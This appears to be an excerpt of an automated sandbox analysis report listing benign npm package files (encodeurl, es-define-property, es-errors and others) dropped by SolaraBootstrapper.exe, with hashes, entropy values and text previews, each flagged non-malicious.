Preview:	{. "name": "ee-first",. "description": "return the first event in a set of ee/event pairs",. "version": "1.1.1",. "author": {. "name": "Jonathan Ong",. "email": "me@jongleberry.com",. "url": "http://jongleberry.com",. "twitter": "https://twitter.com/jongleberry". },. "contributors": [. "Douglas Christopher Wilson <doug@somethingdoug.com>". ],. "license": "MIT",. "repository": "jonathanong/ee-first",. "devDependencies": {. "istanbul": "0.3.9",. "mocha": "2.2.5". },. "files": [. "index.js",. "LICENSE". ],. "scripts": {. "test": "mocha --reporter spec --bail --check-leaks test/",. "test-cov": "istanbul cover node_modules/mocha/bin/_mocha -- --reporter dot --check-leaks test/",. "test-travis": "istanbul cover node_modules/mocha/bin/_mocha --report lcovonly -- --reporter spec --check-leaks test/". }.}.

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\encodeurl\HISTORY.md

Download File

Process:	C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	238
Entropy (8bit):	4.290780944952664
Encrypted:	false
SSDEEP:	3:SVmrY1xFYJKgC/gplFvhVcKlFYJKgCqLVlXAzXXKAxFW+ZKoRcLsMVoi6EFhF4:Sf1YFQ01KLI3Wsl67Voil2
MD5:	6AF548DFA20004D203A20CA28F0DED82
SHA1:	529C725BD6F57D3A83154DB7C81A8ED68E53E08F
SHA-256:	862EB81868522938D0C3B042AC31FAA983BCB64509EA05504640053E4F70C759
SHA-512:	1422A896134205F73FD50C3F10CE5CCB0AD98D294CDB8A6F8944D2770B6CDF5DFBAABA072529F9BAD56FD0202D130F0592E7FD5AF074DC0B3D1059173AA1CFA7
Malicious:	false
Preview:	1.0.2 / 2018-01-21.==================.. * Fix encoding `%` as last character..1.0.1 / 2016-06-09.==================.. * Fix encoding unpaired surrogates at start/end of string..1.0.0 / 2016-06-08.==================.. * Initial release.

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\encodeurl\LICENSE

Download File

Process:	C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	1089
Entropy (8bit):	5.104507231535383
Encrypted:	false
SSDEEP:	24:/iJH/ZHHuyPP3GtIHw1Gg9MPH+sUW8Ok4odZo3U/qldFD:/iJfxfPvGt7ICMPH+sfINi3OMFD
MD5:	272621EFA0FF4F18A73221E49AB60654
SHA1:	65D4C206A2666653C2FD6E516468FA5AA321E8F1
SHA-256:	7585EA7BBA616CCBBE43CB54ECB67956688C3C5641BB84F3099A652A73193AFE
SHA-512:	745A296359A63383CA54211BE411E0D6F61913B1849B324C69961B3EBEC40C4E2CAE166C5E35FE14AE92D12B56C5472B22229211F88AFAD887410A6389C6E1C8
Malicious:	false
Preview:	(The MIT License)..Copyright (c) 2016 Douglas Christopher Wilson..Permission is hereby granted, free of charge, to any person obtaining.a copy of this software and associated documentation files (the.'Software'), to deal in the Software without restriction, including.without limitation the rights to use, copy, modify, merge, publish,.distribute, sublicense, and/or sell copies of the Software, and to.permit persons to whom the Software is furnished to do so, subject to.the following conditions:..The above copyright notice and this permission notice shall be.included in all copies or substantial portions of the Software...THE SOFTWARE IS PROVIDED 'AS IS', WITHOUT WARRANTY OF ANY KIND,.EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF.MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT..IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY.CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT,.TORT OR OTHERWISE, ARISING FROM,

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\encodeurl\README.md

Download File

Process:	C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	3855
Entropy (8bit):	5.086720488016747
Encrypted:	false
SSDEEP:	48:DvqXC9RR6NdXMoNjYNRZfj5BtqGV79Yoc+92ovA1xR9kimJIUGu5aKi9RT7kZe13:DiXCy15ktzepUn3iKfin7kkEVf+j
MD5:	927F12B955E3ABFE907852D1AB957002
SHA1:	F7FF11DE5504CA62A1D60994EA588F0242B59946
SHA-256:	C034DB4C4433AC44BBC3BA626D1D2D1B02A6B6B76E0A8C92B6760DAE39C5C59A
SHA-512:	036509265D14A13D271328373D996DCB9DDAEC7C6E8437DC70E282CC8F50008C2E4ADDEDB6EB6447171CB238513504F732D960ACA3ED973B93F7CB80A29E4AB1
Malicious:	false
Preview:	# encodeurl..[![NPM Version][npm-image]][npm-url].[![NPM Downloads][downloads-image]][downloads-url].[![Node.js Version][node-version-image]][node-version-url].[![Build Status][travis-image]][travis-url].[![Test Coverage][coveralls-image]][coveralls-url]..Encode a URL to a percent-encoded form, excluding already-encoded sequences..## Installation..This is a [Node.js](https://nodejs.org/en/) module available through the.[npm registry](https://www.npmjs.com/). Installation is done using the.[`npm install` command](https://docs.npmjs.com/getting-started/installing-npm-packages-locally):..```sh.$ npm install encodeurl.```..## API..```js.var encodeUrl = require('encodeurl').```..### encodeUrl(url)..Encode a URL to a percent-encoded form, excluding already-encoded sequences...This function will take an already-encoded URL and encode all the non-URL.code points (as UTF-8 byte sequences). This function will not encode the."%" character unless it is not part of a valid sequence (`%20` will be.l

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\encodeurl\index.js

Download File

Process:	C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	1586
Entropy (8bit):	5.418053581573525
Encrypted:	false
SSDEEP:	48:xRG0vcaGF5R6yFv0hD1KRj5BFW+pkpV7zYocKGJ/hK4xv:u4GT0nKRzFW+p5p1hKuv
MD5:	B90CF71779F72E14BE703A4E494E968C
SHA1:	842F42D9EE581D91AC82A7FA018F61BB3F8EF63A
SHA-256:	1D0A4E941C1504DCD9BC6CFBB77F7B44D93E56A29CBA6F2CCEBD78D501A51C16
SHA-512:	8DB5D9A938F397C11C75C77C0CBE6EB609C5D4F81A590F221163FE3291CD0CB2A6286BA8935C8F8CFDABECEC9F7E49A5BFA836DC777E936271FBE0DAEA7414E6
Malicious:	false
Preview:	/!. encodeurl. * Copyright(c) 2016 Douglas Christopher Wilson. * MIT Licensed. /..'use strict'../. Module exports.. * @public. /..module.exports = encodeUrl../. RegExp to match non-URL code points, after encoding (i.e. not including "%"). * and including invalid escape sequences.. * @private. /..var ENCODE_CHARS_REGEXP = /(?:[^\x21\x25\x26-\x3B\x3D\x3F-\x5B\x5D\x5F\x61-\x7A\x7E]\|%(?:[^0-9A-Fa-f]\|[0-9A-Fa-f][^0-9A-Fa-f]\|$))+/g../. RegExp to match unmatched surrogate pair.. * @private. /..var UNMATCHED_SURROGATE_PAIR_REGEXP = /(^\|[^\uD800-\uDBFF])[\uDC00-\uDFFF]\|[\uD800-\uDBFF]([^\uDC00-\uDFFF]\|$)/g../. String to replace unmatched surrogate pair with.. * @private. /..var UNMATCHED_SURROGATE_PAIR_REPLACE = '$1\uFFFD$2'../. Encode a URL to a percent-encoded form, excluding already-encoded sequences.. . This function will take an already-encoded URL and encode all the non-URL. * code points. This function will not encode the "%" character unless it is. * not

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\encodeurl\package.json

Download File

Process:	C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1091
Entropy (8bit):	4.801734666240135
Encrypted:	false
SSDEEP:	24:SJOGaVm51ExVTXNAcIMYfP8IWZHnWPxcnjZqy4y8e1w:EIMaVTXq0YfP8XtWPx8jogw
MD5:	453A9BB10C91E0EC44F305B14E30CE82
SHA1:	73C01B81F34A9978B158DF2744EF8C45251D6193
SHA-256:	30B1A43843675F42033FD6C77C19B20AD4344844F0BD5526C586081E93A48FE8
SHA-512:	D81EE5F2394493A5F93918ECAE6581F82EE529FBBD257E0DC10EA68F09C39D0D19E3A6B0E9560EB1250D88A9B1F591D6469F28404410B16B580CBE179E37DA0F
Malicious:	false
Preview:	{. "name": "encodeurl",. "description": "Encode a URL to a percent-encoded form, excluding already-encoded sequences",. "version": "1.0.2",. "contributors": [. "Douglas Christopher Wilson <doug@somethingdoug.com>". ],. "license": "MIT",. "keywords": [. "encode",. "encodeurl",. "url". ],. "repository": "pillarjs/encodeurl",. "devDependencies": {. "eslint": "3.19.0",. "eslint-config-standard": "10.2.1",. "eslint-plugin-import": "2.8.0",. "eslint-plugin-node": "5.2.1",. "eslint-plugin-promise": "3.6.0",. "eslint-plugin-standard": "3.0.1",. "istanbul": "0.4.5",. "mocha": "2.5.3". },. "files": [. "LICENSE",. "HISTORY.md",. "README.md",. "index.js". ],. "engines": {. "node": ">= 0.8". },. "scripts": {. "lint": "eslint .",. "test": "mocha --reporter spec --bail --check-leaks test/",. "test-cov": "istanbul cover node_modules/mocha/bin/_mocha -- --reporter dot --check-leaks test/",. "test-travis": "istanbul cover nod

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\es-define-property\.eslintrc

Download File

Process:	C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	144
Entropy (8bit):	4.538202190525913
Encrypted:	false
SSDEEP:	3:EK8RL0x+Hf5NeVHLAC8/EgHMDlvwR/6G+sNqR6LesNEvssTsvv:ExL0UxNSH383sDlJbupsg3
MD5:	09A7141E4D4FEA956FB26245D7CFFFE6
SHA1:	0C3C91D3282B7A6F78F17E6CBB1BC670439E456B
SHA-256:	317B53D336FEF735ECF930B9518869A5692C1BD1B80EA2D53CE6A86B36919C67
SHA-512:	1897D9D40451F3FECD12D9B55752D0A74BF23656C8AB03712C083E6C4B273BF158C1D1F328294E5DA01BEA0BF016BB5346EE975AC843595392C02C5BD1F220B8
Malicious:	false
Preview:	{.."root": true,..."extends": "@ljharb",..."rules": {..."new-cap": ["error", {...."capIsNewExceptions": [....."GetIntrinsic",....],...}],..},.}.

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\es-define-property\.github\FUNDING.yml

Download File

Process:	C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	564
Entropy (8bit):	4.605290209060228
Encrypted:	false
SSDEEP:	12:OjjcfQWARgMqJugMJPH0FggMrzlgM01bZBgMoGbQjgMy9gMLzgMT:qoQWAg0g+H0mgClg7g1GegJ9gEzgs
MD5:	FED312B9B7FC8F3B324DC593AD0C9A83
SHA1:	C34A570A604C84D4E042442F8518FEB47FD6C027
SHA-256:	FDD23EB2A51D498F6BBC1D709EB6FAD3778BBB0205126BC9548D4C59B714A402
SHA-512:	A667549517456DCE6E2A7220EAF75704173DD6A80CCEBAD2D4DACCF973744E8E451B08129B10BC2F900B8AE5F875EFD0EC1BD23217DC21B534EEDC082F70DB27
Malicious:	false
Preview:	# These are supported funding model platforms..github: [ljharb].patreon: # Replace with a single Patreon username.open_collective: # Replace with a single Open Collective username.ko_fi: # Replace with a single Ko-fi username.tidelift: npm/es-define-property.community_bridge: # Replace with a single Community Bridge project-name e.g., cloud-foundry.liberapay: # Replace with a single Liberapay username.issuehunt: # Replace with a single IssueHunt username.otechie: # Replace with a single Otechie username.custom: # Replace with a single custom sponsorship URL.

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\es-define-property\.nycrc

Download File

Process:	C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	139
Entropy (8bit):	4.461548676043605
Encrypted:	false
SSDEEP:	3:uFx3jG9UDHfa7aBA9c4RIeeFHqpvc9PNUaUifEIkHJ03WhBK:Kw9OfyFdRaB9LUiMIOJHhBK
MD5:	D0104F79F0B4F03BBCD3B287FA04CF8C
SHA1:	54F9D7ADF8943CB07F821435BB269EB4BA40CCC2
SHA-256:	997785C50B0773E5E18BF15550FBF57823C634FEFE623CD37B3C83696402AD0A
SHA-512:	DAF9B5445CFC02397F398ADFA0258F2489B70699DFEC6CA7E5B85AFE5671FDCABE59EDEE332F718F5E5778FEB1E301778DFFE93BB28C1C0914F669659BAD39C6
Malicious:	false
Preview:	{.."all": true,.."check-coverage": false,.."reporter": ["text-summary", "text", "html", "json"],.."exclude": [..."coverage",..."test"..].}.

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\es-define-property\CHANGELOG.md

Download File

Process:	C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	822
Entropy (8bit):	5.20488474386645
Encrypted:	false
SSDEEP:	12:ENOKyRmjXWTbp6p35SpHvNzmKv7myG7WzW2Ke1I9zfOdFnh5zKP21QAv:EIKpjXWTIppav75GZXGIiB+Cv
MD5:	FF2C2EE466914D9A89D17056FDABFF87
SHA1:	5A0683819C70CC38D791ACCA1C3C3E9623D582E7
SHA-256:	FBB71F72CA81F11DA6ED63CB10E4D6086ADDE75A5C45069A326C490EC773AFD0
SHA-512:	BE029C8E026C331515CABCE3D20EA687B68CC68E04391CA0D2C85E62BD4F975B84F522109EE892312828D3D0D4FB3446D2ABABA556ACB1E2F7AE48091DDBB50A
Malicious:	false
Preview:	# Changelog..All notable changes to this project will be documented in this file...The format is based on [Keep a Changelog](https://keepachangelog.com/en/1.0.0/).and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0.html)...## v1.0.0 - 2024-02-12..### Commits..- Initial implementation, tests, readme, types [`3e154e1`](https://github.com/ljharb/es-define-property/commit/3e154e11a2fee09127220f5e503bf2c0a31dd480).- Initial commit [`07d98de`](https://github.com/ljharb/es-define-property/commit/07d98de34a4dc31ff5e83a37c0c3f49e0d85cd50).- npm init [`c4eb634`](https://github.com/ljharb/es-define-property/commit/c4eb6348b0d3886aac36cef34ad2ee0665ea6f3e).- Only apps should have lockfiles [`7af86ec`](https://github.com/ljharb/es-define-property/commit/7af86ec1d311ec0b17fdfe616a25f64276903856).

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\es-define-property\LICENSE

Download File

Process:	C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	1071
Entropy (8bit):	5.101229758424099
Encrypted:	false
SSDEEP:	24:BPsrmJHHH0yN3gtsHw1hC09QHOsUv4eOk4/+/m3oqLFh:psaJHlxE3dQHOs5exm3ogFh
MD5:	8FE23EA421AAF9F9D687709F6A6A09B7
SHA1:	A47868AB90B532DF82ABE3E4F507BCB2EA441364
SHA-256:	5E325595B4EA8CFEC3802F545B1DEF5D7B73E4A5B8E9BA63E32A320F67732292
SHA-512:	8ACD3B84F3AFA8C6FF9C1A58AB774EA33AEC7701C022BA8F4D36218A8D1C03E80EF2EE1D692DBD43DBF5883153137C5E000F113B98DA23D870DFAB6F71B78AFA
Malicious:	false
Preview:	MIT License..Copyright (c) 2024 Jordan Harband..Permission is hereby granted, free of charge, to any person obtaining a copy.of this software and associated documentation files (the "Software"), to deal.in the Software without restriction, including without limitation the rights.to use, copy, modify, merge, publish, distribute, sublicense, and/or sell.copies of the Software, and to permit persons to whom the Software is.furnished to do so, subject to the following conditions:..The above copyright notice and this permission notice shall be included in all.copies or substantial portions of the Software...THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR.IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,.FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE.AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER.LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,.OUT OF OR IN CONN

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\es-define-property\README.md

Download File

Process:	C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	2056
Entropy (8bit):	5.034867386998497
Encrypted:	false
SSDEEP:	24:Zdn1eI4IjAoqSTgMWvm64bHcauzK5g2HwoAruUo/suGCG9ZYIJ1heIXIjvRv:/1eI4I7qS8e6GH3hy2qudIL0IXIFv
MD5:	1FD50C2701C3B616F8FDFF87E9D3AEAC
SHA1:	17A3CA5DFF9C316F52B09F48D06ABD74B908A1D6
SHA-256:	5CE564BB53FAFD87B543F144E04955D128199205CF07BFF442F3B875CA90D422
SHA-512:	67915F0D9B60E1AC9CB037238E4B2D2C2DEC3EEA32BDB2F58E74397C82A0975A91B3833C4F8A89ADA22258CDBDAB9F8F01D7A7D811A3CFB8F43AA7C89899D07F
Malicious:	false
Preview:	# es-define-property <sup>[![Version Badge][npm-version-svg]][package-url]</sup>..[![github actions][actions-image]][actions-url].[![coverage][codecov-image]][codecov-url].[![License][license-image]][license-url].[![Downloads][downloads-image]][downloads-url]..[![npm badge][npm-badge-png]][package-url]..`Object.defineProperty`, but not IE 8's broken one...## Example..```js.const assert = require('assert');..const $defineProperty = require('es-define-property');..if ($defineProperty) {. assert.equal($defineProperty, Object.defineProperty);.} else if (Object.defineProperty) {. assert.equal($defineProperty, false, 'this is IE 8');.} else {. assert.equal($defineProperty, false, 'this is an ES3 engine');.}.```..## Tests.Simply clone the repo, `npm install`, and run `npm test`..## Security..Please email [@ljharb](https://github.com/ljharb) or see https://tidelift.com/security if you have a potential security vulnerability to report...[package-url]: https://npmjs.org/package/es-defin

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\es-define-property\index.d.ts

Download File

Process:	C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	93
Entropy (8bit):	4.246163522417473
Encrypted:	false
SSDEEP:	3:n+F2fIqX8YToqFKeJqXlPBiEQ0IqX1:62fIDYTxeiEIw
MD5:	83F6BF3823D12D8ED1424DF7A35A58F8
SHA1:	B1B224DEA8E61930F427A3BEB9A5FC51E58024BF
SHA-256:	26F10CC22A24B23DB7CD41FF339C907121EF7F518E0FE347B48A05F1BF0F7CBF
SHA-512:	F53EE769E8481FF44A3F07950A20123CA53D176EF4CFA14794270FE091BFCE04B48871F193ADA22A23FE218BBDB71D0FEFC80C506631145899D37E0FB0C3D114
Malicious:	false
Preview:	declare const defineProperty: false \| typeof Object.defineProperty;..export = defineProperty;

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\es-define-property\index.js

Download File

Process:	C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	358
Entropy (8bit):	4.9635670584718765
Encrypted:	false
SSDEEP:	6:QmRQgNMmBSVWKmBkMNos0b7WAdHmMNaM8zNJCqcWL9y1OKGIRBV3IYBDa:9RQt0UmOx3WAtUPBc+y1wADBO
MD5:	B7BC620DD53AA6A7DD2EC301305117FE
SHA1:	B9844CDED75ED1BC40675391ECA0BBC19DEDF42B
SHA-256:	9C4B9A7EDAFEB02D872B9AD6258154311FD4F43CDF719E2DE736973C016219D9
SHA-512:	8D92D968347FE07872F7E6C9081493B987D9C61E2D7FA27D6F0ACDB82F9A7BABC4B6AB8563ABB7964F67CE86C5DE47E803E81D8BD06F3BB455E12C2ABE5AD011
Malicious:	false
Preview:	'use strict';..var GetIntrinsic = require('get-intrinsic');../** @type {import('.')} */.var $defineProperty = GetIntrinsic('%Object.defineProperty%', true) \|\| false;.if ($defineProperty) {..try {...$defineProperty({}, 'a', { value: 1 });..} catch (e) {...// IE 8 has a broken defineProperty...$defineProperty = false;..}.}..module.exports = $defineProperty;.

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\es-define-property\package.json

Download File

Process:	C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2112
Entropy (8bit):	5.127618551632557
Encrypted:	false
SSDEEP:	48:R/SmRYCZUPagS4j0fzyRYsEg4K3WsdcbfhmfSowg:A1CS4B3K3WGfN
MD5:	C4725FBA887A7FF0AC3858D435A1B240
SHA1:	C507E0B1CF2597B64A19AF048A41DC1B02FD7FB9
SHA-256:	987919FE29FF5DEBD1274B79E456265A64827269AD681313E845C8E646217EBC
SHA-512:	531E6B03FFE25C6ACF0C6DD453D4C3756A17498018F1B493ACFD8D4253F00CF71052C4BDDEBA158BF927AFED286621C3E06C25121A27DC84E0ECA37630103D74
Malicious:	false
Preview:	{.."name": "es-define-property",.."version": "1.0.0",.."description": "`Object.defineProperty`, but not IE 8's broken one.",.."main": "index.js",.."types": "./index.d.ts",.."exports": {...".": "./index.js",..."./package.json": "./package.json"..},.."sideEffects": false,.."scripts": {..."prepack": "npmignore --auto --commentLines=autogenerated",..."prepublish": "not-in-publish \|\| npm run prepublishOnly",..."prepublishOnly": "safe-publish-latest",..."prelint": "evalmd README.md",..."lint": "eslint --ext=js,mjs .",..."postlint": "tsc -p .",..."pretest": "npm run lint",..."tests-only": "nyc tape 'test/*/.js'",..."test": "npm run tests-only",..."posttest": "aud --production",..."version": "auto-changelog && git add CHANGELOG.md",..."postversion": "auto-changelog && git add CHANGELOG.md && git commit --no-edit --amend && git tag -f \"v$(node -e \"console.log(require('./package.json').version)\")\""..},.."repository": {..."type": "git",..."url": "git+https://github.com/ljharb/es-define-prop

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\es-define-property\test\index.js

Download File

Process:	C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	1244
Entropy (8bit):	4.942737590100003
Encrypted:	false
SSDEEP:	24:zj2fP4+l6f8DEatCnWk6I08uC15k6Y97ccDGRfEW:zj1AtCnW+yC15o9ZqREW
MD5:	8B33AC3F76B3AD73E60EA886D97245E5
SHA1:	DF572E1408CDF0A4BE5D1D6898837F82DA7233F1
SHA-256:	643BE90198BAF64C2A766C7C373AE0BEBBF5F8717ED60D82437B5807CBDE1CA4
SHA-512:	73B7F867FB282EAF9A847597E408741C7FEFBC96812499B71F7CC1E0994BCEB3B5AA153DD1CE0A429CC70A560B0345371F56F2BEB51E2D1840ADEBCCB32E5841
Malicious:	false
Preview:	'use strict';..var $defineProperty = require('../');..var test = require('tape');.var gOPD = require('gopd');..test('defineProperty: supported', { skip: !$defineProperty }, function (t) {..t.plan(4);...t.equal(typeof $defineProperty, 'function', 'defineProperty is supported');..if ($defineProperty && gOPD) { // this `if` check is just to shut TS up...var o = { a: 1 };....$defineProperty(o, 'b', { enumerable: true, value: 2 });...t.deepEqual(....gOPD(o, 'b'),....{.....configurable: false,.....enumerable: true,.....value: 2,.....writable: false....},....'property descriptor is as expected'...);....$defineProperty(o, 'c', { enumerable: false, value: 3, writable: true });...t.deepEqual(....gOPD(o, 'c'),....{.....configurable: false,.....enumerable: false,.....value: 3,.....writable: true....},....'property descriptor is as expected'...);..}...t.equal($defineProperty, Object.defineProperty, 'defineProperty is Object.defineProperty');...t.end();.});..test('defineProperty: not supported', { s

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\es-define-property\tsconfig.json

Download File

Process:	C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	3195
Entropy (8bit):	4.736326326543835
Encrypted:	false
SSDEEP:	48:cj+2nTY8LdkWoltx4I8OjMGqoqZjuJGJkeGzJfYMT2s+Tmz:I+WWtx4ITjDqoql+Ok3AMqs+Tmz
MD5:	D8A043C42FC4D89057F4DD4BE72C3EA9
SHA1:	47D00B1A54AFD2080104036E09A565C8F9F670DF
SHA-256:	55D3CA9EE2A017D8D9A969C47FD7623B4619CDD29010B5CDECBF7C88B42D23A7
SHA-512:	C9966A66202E6F816AE76A855B0E116E2E1C09C2D81BD42D940B3464467E526DE85AD0F2DB320DBB5FDEDA6793B750E2D445F7510C743031FB3BF13D94441B42
Malicious:	false
Preview:	{.."compilerOptions": {.../* Visit https://aka.ms/tsconfig.json to read more about this file /..../ Projects /..../ Language and Environment /..."target": "es2022",................./ Set the JavaScript language version for emitted JavaScript and include compatible library declarations. /...// "lib": [],..................../ Specify a set of bundled library declaration files that describe the target runtime environment. /...// "noLib": true,................../ Disable including any library files, including the default lib.d.ts. /..."useDefineForClassFields": true,.......... / Emit ECMAScript-standard-compliant class fields. /...// "moduleDetection": "auto",............/ Control what method is used to detect module-format JS files. /..../ Modules /..."module": "commonjs",................/ Specify what module code is generated. /...// "rootDir": "./",................./ Specify the root folder within your source files. /...// "moduleResolution": "node",........... / S

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\es-errors\.eslintrc

Download File

Process:	C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	43
Entropy (8bit):	4.231286196905489
Encrypted:	false
SSDEEP:	3:EK8RL0x+Hg:ExL0UA
MD5:	C28B0FE9BE6E306CC2AD30FE00E3DB10
SHA1:	AF79C81BD61C9A937FCA18425DD84CDF8317C8B9
SHA-256:	0694050195FC694C5846B0A2A66B437AC775DA988F0A779C55FB892597F7F641
SHA-512:	E3ECA17804522FFA4F41E836E76E397A310A20E8261A38115B67E8B644444153039D04198FB470F45BE2997D2C7A72B15BD4771A02C741B3CBC072EA6EF432E9
Malicious:	false
Preview:	{.."root": true,..."extends": "@ljharb",.}.

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\es-errors\.github\FUNDING.yml

Download File

Process:	C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	555
Entropy (8bit):	4.598154648044777
Encrypted:	false
SSDEEP:	12:OjjcfQWARgMqJugMJPH0FggMrnplgM01bZBgMoGbQjgMy9gMLzgMT:qoQWAg0g+H0mgOlg7g1GegJ9gEzgs
MD5:	37AE5D0FAB969F9F8C92B853CFAA1501
SHA1:	99ACF15E50F39182C08F88DDEB4DCE2B3BCCF07A
SHA-256:	5CFFDEEEE604FDF21F64369BF526C2C707377F01FDF1D816B204422CDE144CE9
SHA-512:	05EBE90B56F4E19B2904F92516F73679B8959FE8419A693644C9268BBA16AD14648AD871F4F7FE1B5A258FDB727FCCEE888A6A0F0D73581713A0D666481BBC05
Malicious:	false
Preview:	# These are supported funding model platforms..github: [ljharb].patreon: # Replace with a single Patreon username.open_collective: # Replace with a single Open Collective username.ko_fi: # Replace with a single Ko-fi username.tidelift: npm/es-errors.community_bridge: # Replace with a single Community Bridge project-name e.g., cloud-foundry.liberapay: # Replace with a single Liberapay username.issuehunt: # Replace with a single IssueHunt username.otechie: # Replace with a single Otechie username.custom: # Replace with a single custom sponsorship URL.

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\es-errors\CHANGELOG.md

Download File

Process:	C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	1833
Entropy (8bit):	5.305276854847369
Encrypted:	false
SSDEEP:	24:EIKpjXWTIppzi9CQDGibZqaksPEXvdui/HCG9XHJoBkh5sJCnu:E5yEpw9CQaiNqfssXv9C6HXu
MD5:	BEBCA175C8B27C2384C047D436940C97
SHA1:	13FE14B3BEF08F16B534896D29160119583704D1
SHA-256:	F21CE3B58B9C00181C38429F5F5F07438675FB519C749E4CC9EDD7C661A00DAF
SHA-512:	E9CB670C6EC090245D2C76C2CF0CBF6E0B674FA9D730EB1780E329D3A3BDB4295DB3D323B06F5AB636F89EAC56A74AC56BE892A73E0C3A924AF0BB267A8EDC67
Malicious:	false
Preview:	# Changelog..All notable changes to this project will be documented in this file...The format is based on [Keep a Changelog](https://keepachangelog.com/en/1.0.0/).and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0.html)...## [v1.3.0](https://github.com/ljharb/es-errors/compare/v1.2.1...v1.3.0) - 2024-02-05..### Commits..- [New] add `EvalError` and `URIError` [`1927627`](https://github.com/ljharb/es-errors/commit/1927627ba68cb6c829d307231376c967db53acdf)..## [v1.2.1](https://github.com/ljharb/es-errors/compare/v1.2.0...v1.2.1) - 2024-02-04..### Commits..- [Fix] add missing `exports` entry [`5bb5f28`](https://github.com/ljharb/es-errors/commit/5bb5f280f98922701109d6ebb82eea2257cecc7e)..## [v1.2.0](https://github.com/ljharb/es-errors/compare/v1.1.0...v1.2.0) - 2024-02-04..### Commits..- [New] add `ReferenceError` [`6d8cf5b`](https://github.com/ljharb/es-errors/commit/6d8cf5bbb6f3f598d02cf6f30e468ba2caa8e143)..## [v1.1.0](https://github.com/ljharb/es-errors/co

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\fileaccess\node_modules\es-errors\LICENSE

Download File

Process:	C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	1071
Entropy (8bit):	5.101229758424099
Encrypted:	false
SSDEEP:	24:BPsrmJHHH0yN3gtsHw1hC09QHOsUv4eOk4/+/m3oqLFh:psaJHlxE3dQHOs5exm3ogFh
MD5:	8FE23EA421AAF9F9D687709F6A6A09B7
SHA1:	A47868AB90B532DF82ABE3E4F507BCB2EA441364
SHA-256:	5E325595B4EA8CFEC3802F545B1DEF5D7B73E4A5B8E9BA63E32A320F67732292
